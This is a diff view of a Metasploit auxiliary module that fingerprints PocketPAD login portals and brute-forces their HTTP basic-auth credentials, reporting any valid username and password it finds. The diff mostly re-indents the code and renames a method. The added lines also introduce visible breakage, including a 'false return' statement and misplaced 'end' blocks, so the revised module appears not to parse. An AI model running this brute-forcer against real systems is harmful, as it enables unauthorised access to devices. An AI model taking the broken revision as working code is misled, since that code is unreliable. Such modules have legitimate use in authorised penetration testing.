|
7 | 7 |
|
8 | 8 | class Metasploit3 < Msf::Auxiliary
|
9 | 9 |
|
10 |
| - include Msf::Exploit::Remote::HttpClient |
11 |
| - include Msf::Auxiliary::Report |
12 |
| - include Msf::Auxiliary::AuthBrute |
13 |
| - include Msf::Auxiliary::Scanner |
14 |
| - |
15 |
| - def initialize(info={}) |
16 |
| - super(update_info(info, |
17 |
| - 'Name' => 'PocketPAD Login Brute Force Utility', |
18 |
| - 'Description' => %{ |
19 |
| - This module scans for PocketPAD login portal, and |
20 |
| - performs a login brute force attack to identify valid credentials. |
21 |
| - }, |
22 |
| - 'Author' => |
23 |
| - [ |
24 |
| - 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', |
25 |
| - ], |
26 |
| - 'License' => MSF_LICENSE |
| 10 | +include Msf::Exploit::Remote::HttpClient |
| 11 | +include Msf::Auxiliary::Report |
| 12 | +include Msf::Auxiliary::AuthBrute |
| 13 | +include Msf::Auxiliary::Scanner |
27 | 14 |
|
| 15 | +def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'PocketPAD Login Brute Force Utility', |
| 18 | + 'Description' => %{ |
| 19 | + This module scans for PocketPAD login portal, and |
| 20 | + performs a login brute force attack to identify valid credentials. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE |
28 | 27 | ))
|
| 28 | +end |
29 | 29 |
|
| 30 | +def run_host(ip) |
| 31 | + unless is_app_popad? |
| 32 | + return |
30 | 33 | end
|
31 | 34 |
|
32 |
| - def run_host(ip) |
33 |
| - unless is_app_popaduo? |
34 |
| - return |
35 |
| - end |
36 |
| - |
37 |
| - print_status("#{peer} - Starting login brute force...") |
38 |
| - each_user_pass do |user, pass| |
39 |
| - do_login(user, pass) |
40 |
| - end |
| 35 | + print_status("#{peer} - Starting login brute force...") |
| 36 | + each_user_pass do |user, pass| |
| 37 | + do_login(user, pass) |
41 | 38 | end
|
| 39 | +end |
42 | 40 |
|
43 |
| - # |
44 |
| - # What's the point of running this module if the target actually isn't PocketPAD |
45 |
| - # |
46 |
| - |
47 |
| - def is_app_popaduo? |
48 |
| - begin |
49 |
| - res = send_request_cgi( |
50 |
| - { |
51 |
| - 'uri' => '/', |
52 |
| - 'method' => 'GET' |
53 |
| - }) |
54 |
| - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
55 |
| - vprint_error("#{peer} - HTTP Connection Failed...") |
56 |
| - return false |
57 |
| - end |
| 41 | +# |
| 42 | +# What's the point of running this module if the target actually isn't PocketPAD |
| 43 | +# |
58 | 44 |
|
59 |
| - if (res and res.code == 200 and res.headers['Server'].include?("Smeagol") and res.body.include?("PocketPAD")) |
60 |
| - vprint_good("#{peer} - Running PocketPAD application ...") |
61 |
| - return true |
62 |
| - else |
63 |
| - vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.") |
64 |
| - return false |
65 |
| - end |
| 45 | +def is_app_popad? |
| 46 | + begin |
| 47 | + res = send_request_cgi( |
| 48 | + { |
| 49 | + 'uri' => '/', |
| 50 | + 'method' => 'GET' |
| 51 | + }) |
| 52 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError |
| 53 | + vprint_error("#{peer} - HTTP Connection Failed...") |
| 54 | + false return |
66 | 55 | end
|
67 | 56 |
|
68 |
| - # |
69 |
| - # Brute-force the login page |
70 |
| - # |
| 57 | + if (res and res.code == 200 and res.headers['Server'].include?("Smeagol") and res.body.include?("PocketPAD")) |
| 58 | + vprint_good("#{peer} - Running PocketPAD application ...") |
| 59 | + return true |
| 60 | + else |
| 61 | + vprint_error("#{peer} - Application is not PocketPAD. Module will not continue.") |
| 62 | + return false |
| 63 | + end |
| 64 | +end |
71 | 65 |
|
72 |
| - def do_login(user, pass) |
73 |
| - vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") |
74 |
| - begin |
75 |
| - res = send_request_cgi( |
76 |
| - { |
77 |
| - 'uri' => '/cgi-bin/config.cgi', |
78 |
| - 'method' => 'POST', |
79 |
| - 'authorization' => basic_auth(user,pass), |
80 |
| - 'vars_post' => { |
81 |
| - 'file' => "configindex.html" |
82 |
| - } |
83 |
| - }) |
84 |
| - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
85 |
| - vprint_error("#{peer} - HTTP Connection Failed...") |
86 |
| - return :abort |
87 |
| - end |
| 66 | +# |
| 67 | +# Brute-force the login page |
| 68 | +# |
88 | 69 |
|
89 |
| - if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("Smeagol")) |
90 |
| - print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") |
91 |
| - report_hash = { |
92 |
| - :host => rhost, |
93 |
| - :port => rport, |
94 |
| - :sname => 'PocketPAD Portal', |
95 |
| - :user => user, |
96 |
| - :pass => pass, |
97 |
| - :active => true, |
98 |
| - :type => 'password' |
99 |
| - } |
100 |
| - report_auth_info(report_hash) |
101 |
| - return :next_user |
102 |
| - else |
103 |
| - vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") |
104 |
| - end |
| 70 | +def do_login(user, pass) |
| 71 | + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") |
| 72 | + begin |
| 73 | + res = send_request_cgi( |
| 74 | + { |
| 75 | + 'uri' => '/cgi-bin/config.cgi', |
| 76 | + 'method' => 'POST', |
| 77 | + 'authorization' => basic_auth(user,pass), |
| 78 | + 'vars_post' => { |
| 79 | + 'file' => "configindex.html" |
| 80 | + } |
| 81 | + }) |
| 82 | + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE |
| 83 | + vprint_error("#{peer} - HTTP Connection Failed...") |
| 84 | + return :abort |
| 85 | + end |
105 | 86 |
|
| 87 | + if (res and res.code == 200 and res.body.include?("Home Page") and res.headers['Server'].include?("Smeagol")) |
| 88 | + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") |
| 89 | + report_hash = { |
| 90 | + :host => rhost, |
| 91 | + :port => rport, |
| 92 | + :sname => 'PocketPAD Portal', |
| 93 | + :user => user, |
| 94 | + :pass => pass, |
| 95 | + :active => true, |
| 96 | + :type => 'password' |
| 97 | + } |
| 98 | + report_auth_info(report_hash) |
| 99 | + return :next_user |
| 100 | + else |
| 101 | + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") |
106 | 102 | end
|
107 | 103 | end
|
| 104 | +end |
0 commit comments